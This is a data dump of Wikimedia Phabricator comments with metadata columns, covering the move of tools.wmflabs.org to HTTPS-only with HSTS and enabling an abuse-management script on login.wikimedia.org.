+[[https://gerrit.wikimedia.org/r/432935]]",,,1526272496,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,149,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+988111,Migrate tools.wmflabs.org to https only (and set HSTS),HSTS should help with (a),,,1514654008,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,130,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+988011,Migrate tools.wmflabs.org to https only (and set HSTS),"https://hstspreload.org/?domain=tools.wmflabs.org
+
+{F12139559 size=full}",,,1514605878,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,130,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+988010,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#3863889, @Legoktm wrote:
+> If I have my tool set a `strict-transport-security: max-age=86400` header, will that impact other tools as well since they're on the same subdomain? Or will it just affect my tool?
+
+It will effect all of tools.wmflabs.org, but ... I turned this header on for the admin tool in October (T102367#3686094) and we have not had any widespread reports of problems caused by it. I think we really can start setting this header globally at the proxy and also redirecting GET requests from http to https. We should **not** redirect non-HTTPS POST requests as the behavior of that is undefined for clients (some detail in T128409#2233337).
+
+>>! In T102367#3863924, @Krenair wrote:
+> Edit: Turns out this was done above anyway... I'd still be cautious and to have a go at T128409 first
+
+I think I tend to agree with @scfc's comment in T128409#2073647 that we really can't reliably certify that everything will work over HTTPS before trying to switch. We can however be ready to respond to reports of breakage by helping tool maintainers update their code. The most common causes I can think of would be (a) hardcoded http protocols on URLs and (b) frameworks generating absolute links which are not respecting the `X-Forwarded-Proto` header sent by the proxy. We should try to document how to fix (b) for common frameworks before flipping this switch globally.",,,1514605753,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,130,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,1,1
+988000,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#3863889, @Legoktm wrote:
+> If I have my tool set a `strict-transport-security: max-age=86400` header, will that impact other tools as well since they're on the same subdomain? Or will it just affect my tool?
+
+I would think it will break other tools that don't support HTTPS. We should probably add this header to `proxy_hide_header` in `modules/dynamicproxy/templates/urlproxy.conf` until we're ready to start using HSTS across tools.wmflabs.org.
+Long-term solution to prevent that class of problems: T125589
+
+Edit: Turns out this was done above anyway... I'd still be cautious and to have a go at T128409 first",,,1514602755,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,130,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+987997,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#3863889, @Legoktm wrote:
+> If I have my tool set a `strict-transport-security: max-age=86400` header, will that impact other tools as well since they're on the same subdomain? Or will it just affect my tool?
+
+I would think it will break other tools that don't support HTTPS. We should probably add this header to `proxy_hide_header` in `modules/dynamicproxy/templates/urlproxy.conf` until we're ready to start using HSTS across tools.wmflabs.org.
+Long-term solution to prevent that class of problems: T125589",,,1514602573,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,130,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+987995,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#3863889, @Legoktm wrote:
+> If I have my tool set a `strict-transport-security: max-age=86400` header, will that impact other tools as well since they're on the same subdomain? Or will it just affect my tool?
+
+I would think it will break other tools that don't support HTTPS. We should probably add this header to `proxy_hide_header` in `modules/dynamicproxy/templates/urlproxy.conf` until we're ready to turn it on at the proxy level.
+Long-term solution to prevent that class of problems: T125589",,,1514602553,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,130,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,1
+987994,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#3863889, @Legoktm wrote:
+> If I have my tool set a `strict-transport-security: max-age=86400` header, will that impact other tools as well since they're on the same subdomain? Or will it just affect my tool?
+
+I would think it will break other tools that don't support HTTPS. We should probably add this header to `proxy_hide_header` in `modules/dynamicproxy/templates/urlproxy.conf`
+Long-term solution to prevent that class of problems: T125589",,,1514602448,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,130,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,1
+987988,Migrate tools.wmflabs.org to https only (and set HSTS),"If I have my tool set a `strict-transport-security: max-age=86400` header, will that impact other tools as well since they're on the same subdomain? Or will it just affect my tool?",,,1514597803,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,130,True,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+948173,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#3686227, @BBlack wrote:
+> Be careful with `preload`.  It's only purpose is to signal to the Chromium list maintainers that it's ok to you preload you (making HSTS more-or-less permanent), and once you're emitting anyone can submit your domain for preload inclusion.
+
+Yikes. I removed that flag from the header.",,,1508110471,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,119,True,0,1,0,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,1,0,1
+948172,Migrate tools.wmflabs.org to https only (and set HSTS),"Be careful with `preload`.  It's only purpose is to signal to the Chromium list maintainers that it's ok to you preload you (making HSTS more-or-less permanent), and once you're emitting anyone can submit your domain for preload inclusion.",,,1508110283,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,119,True,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+948155,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T128409#2233337, @BBlack wrote:
+> What you can do to help modern browsers, though, without taking the redirect and/or POST-breakage risks, is universally add a long-duration HSTS header so that they lock onto HTTPS if they've ever visited once via HTTPS.
+
+I have added a PHP based redirect from http -> https into https://tools.wmflabs.org/admin/tool/admin. I have also added a logic to that app that will set `Strict-Transport-Security: max-age:86400; includeSubDomains; preload` on all responses. This will be a small experiment towards the idea of adding an HSTS to all dynamicproxy responses.",,,1508098812,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,119,True,1,0,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1
+948154,Migrate tools.wmflabs.org to https only (and set HSTS),"{nav icon=file, name=Mentioned in SAL (#wikimedia-cloud), href=https://tools.wmflabs.org/sal/log/AV8hrS8gwg13V62850dA} [2017-10-15T20:15:18Z] <bd808> Updated tool-admin-web from 83d3174 to 9994980 (Redirect http -> https & set STS header with 1day duration) T102367",,,1508098519,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,119,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+843135,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#3021211, @scfc wrote:
+> Is there any resistance to redirecting `GET` requests from `http` to `https` at the proxy?
+
+Long overdue.",,,1492317753,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,93,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,1
+808383,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#2891340, @bd808 wrote:
+> I really think we could just flip the switch at the ingress proxy and then deal with the fallout. Mixed content warnings/errors are really all that I can think of that may come up. As @yuvipanda pointed out in T102367#2214936, TLS termination happens in front of the tools themselves.
+
+>>! In T102367#2891486, @Legoktm wrote:
+> We could do the same thing as what we did in prod. Allow HTTP POST for a while, then make a percentage of requests fail, and then finally make them all fail.
+
+Is there any resistance to redirecting `GET` requests from `http` to `https` at the proxy?",,,1486980961,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,84,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1
+781739,Migrate tools.wmflabs.org to https only (and set HSTS),"We could do the same thing as what we did in prod. Allow HTTP POST for a while, then make a percentage of requests fail, and then finally make them all fail.",,,1482274747,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,76,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0
+781699,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#2891340, @bd808 wrote:
+> I really think we could just flip the switch at the ingress proxy and then deal with the fallout. Mixed content warnings/errors are really all that I can think of that may come up. As @yuvipanda pointed out in T102367#2214936, TLS termination happens in front of the tools themselves.
+
+The place where this breaks is request cycles that start with an HTTP POST. There is no mechanism in the HTTP protocol to redirect a POST.",,,1482272682,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,76,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,0,0,0,1
+781695,Migrate tools.wmflabs.org to https only (and set HSTS),"I really think we could just flip the switch at the ingress proxy and then deal with the fallout. Mixed content warnings/errors are really all that I can think of that may come up. As @yuvipanda pointed out in T102367#2214936, TLS termination happens in front of the tools themselves.",,,1482272471,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,76,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,1,0,0,0,0
+781690,Migrate tools.wmflabs.org to https only (and set HSTS),"I've been using HTTPS Everywhere for a long time. This extension has [[ https://github.com/EFForg/https-everywhere/blob/master/src/chrome/content/rules/Wikimedia.xml#L29 | a rule for tools.wmflabs.org ]], ensuring that all my connections with the subdomain use HTTPS, and I haven't experienced any issues for now.
+
+This is an important task. I think that we should define a deadline and contact all the developers of Tool Labs to explain that, if their tools only support HTTP, they could stop running in X months if they aren't adapted.
+
+An HTTPS-only Tool Labs could be a nice point in our wishlist for 2017, don't you think?",,,1482272299,,PHID-USER-iewalftlcj4ecoy4eyqx,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,76,True,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+647430,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#1372878, @Nemo_bis wrote:
+>> Should be fairly simple to do.
+> 
+> I doubt this is possible. Several tools do not support https.
+
+Webservices don't directly interact with HTTPS - it is the proxy that does. ",,,1461002905,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,41,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,0,0,0,0,1
+491140,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 218117 merged by BBlack:
+dynamicproxy: Allow proxies to be https only
+
+[[https://gerrit.wikimedia.org/r/218117]]",,,1436830590,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+476139,Migrate tools.wmflabs.org to https only (and set HSTS),"> Should be fairly simple to do.
+
+I doubt this is possible. Several tools do not support https.",,,1434524093,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,2,True,,,-3,True,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+474270,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 218117 had a related patch set uploaded (by Yuvipanda):
+dynamicproxy: Allow proxies to be https only
+
+[[https://gerrit.wikimedia.org/r/218117]]
+",,,1434252909,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+102254,Allow a script to work on login.wikimedia.org,To facilitate abuse management it'd be good if you could consider allowing **a single script** to work on loginwiki. Jump to: T102254#2193501.,Low,25.0,1434130393,1464025275.0,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,PHID-TASK-tnuyibbkgzspv43mk744,task_description,resolved,True,c3,2,True,True,False,-3,True,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+667055,Allow a script to work on login.wikimedia.org,"Since this was deployed and it's live, I think we can just close this. Please reopen if you disagree.",,,1464025275,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,46,True,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+659513,Allow a script to work on login.wikimedia.org,It has also been switched on Wikimedia's CentralAuth wikis. (rOMWCc340b3c237014c3f0) The CheckUser change hasn't yet been deployed on the cluster but it will reach loginwiki tomorrow (if there are no further issues).,,,1462894849,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,44,True,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+647014,Allow a script to work on login.wikimedia.org,I have submitted https://gerrit.wikimedia.org/r/#/c/283840/,,,1460871427,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,41,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0
+645729,Allow a script to work on login.wikimedia.org,">>! In T102254#2205003, @Krenair wrote:
+> I probably could as a global interface editor
+
+Yeah, you can. But we can solve this: For all groups which got the ""edit"" permission change the wikiset from ""None, applies to all wikis."" to ""All existing wikis"". That would solve the problem too I think.",,,1460641127,,PHID-USER-qlodcndtwpolbdhncjis,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,41,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1
+645421,Allow a script to work on login.wikimedia.org,I probably could as a global interface editor,,,1460582301,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,40,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+645420,Allow a script to work on login.wikimedia.org,What about setting wgUseSiteJs to true again? It's not like anyone who is not a steward could insert code to it.,,,1460582194,,PHID-USER-7e4yonmruupxzg23swum,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,False,,,40,True,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+645162,Allow a script to work on login.wikimedia.org,">>! In T102254#2203699, @Glaisher wrote:
+> $wgUseSiteJs is also set to false on loginwiki so it probably won't work (haven't checked, just guessing).
+
+I checked includes/resourceloader/ResourceLoaderUserGroupsModule.php - you're right, it won't work.",,,1460563453,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,40,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,1
+645148,Allow a script to work on login.wikimedia.org,">>! In T102254#2203252, @MarcoAurelio wrote:
+> @csteipp What about adding the script at loginwiki:MediaWiki:Group-checkuser.js? Stewards have local CU rights there, and scripts used on that page will just load for users in the checkuser group. Just an idea to have this working for now instead of having to load this on {rECHU} which might be harder (although it's what's desired in the long run).
+
+$wgUseSiteJs is also set to false on loginwiki so it probably won't work (haven't checked, just guessing). Instead of checking for the `centralauth-lock` right (which is not assigned to the stewards global group) to load the JS, maybe we could check whether the user is in the global steward group? Not particularly elegant but it works and would make things simple. Another option to workaround it is to assign the right to the global group to make the code a little better but I guess people won't like it.",,,1460562678,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,40,True,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+645054,Allow a script to work on login.wikimedia.org,"@csteipp What about adding the script at loginwiki:MediaWiki:Group-checkuser.js? Stewards have local CU rights there, and scripts used on that page will just load for users in the checkuser group. Just an idea to have this working for now instead of having to load this on {rECHU} which might be harder (although it's what's desired in the long run).",,,1460557775,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,40,True,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,0
+644268,Allow a script to work on login.wikimedia.org,"> Problem might be with the ""appropriate rights"", because since on loginwiki we just hold CU rights and the others being imported from the steward's global group. Do you think that'll work? If so, can we arrange to have this installed as is, and look later on installing Ex:Gadgets there if at all necessary?
+
+Yeah, it's a little messy. Let me see if I can figure out a way to do that nicely..",,,1460476936,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,40,True,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,1,1,1,0,0,0
+644033,Allow a script to work on login.wikimedia.org,">>! In T102254#2195633, @csteipp wrote:
+> For this particular script, agree, it looks safe. Should that be added to the CU extension, for wikis that also have CentralAuth and the user has appropriate rights?
+
+Problem might be with the ""appropriate rights"", because since on loginwiki we just hold CU rights and the others being imported from the steward's global group. Do you think that'll work? If so, can we arrange to have this installed as is, and look later on installing Ex:Gadgets there if at all necessary?",,,1460453144,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,40,True,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,0,1
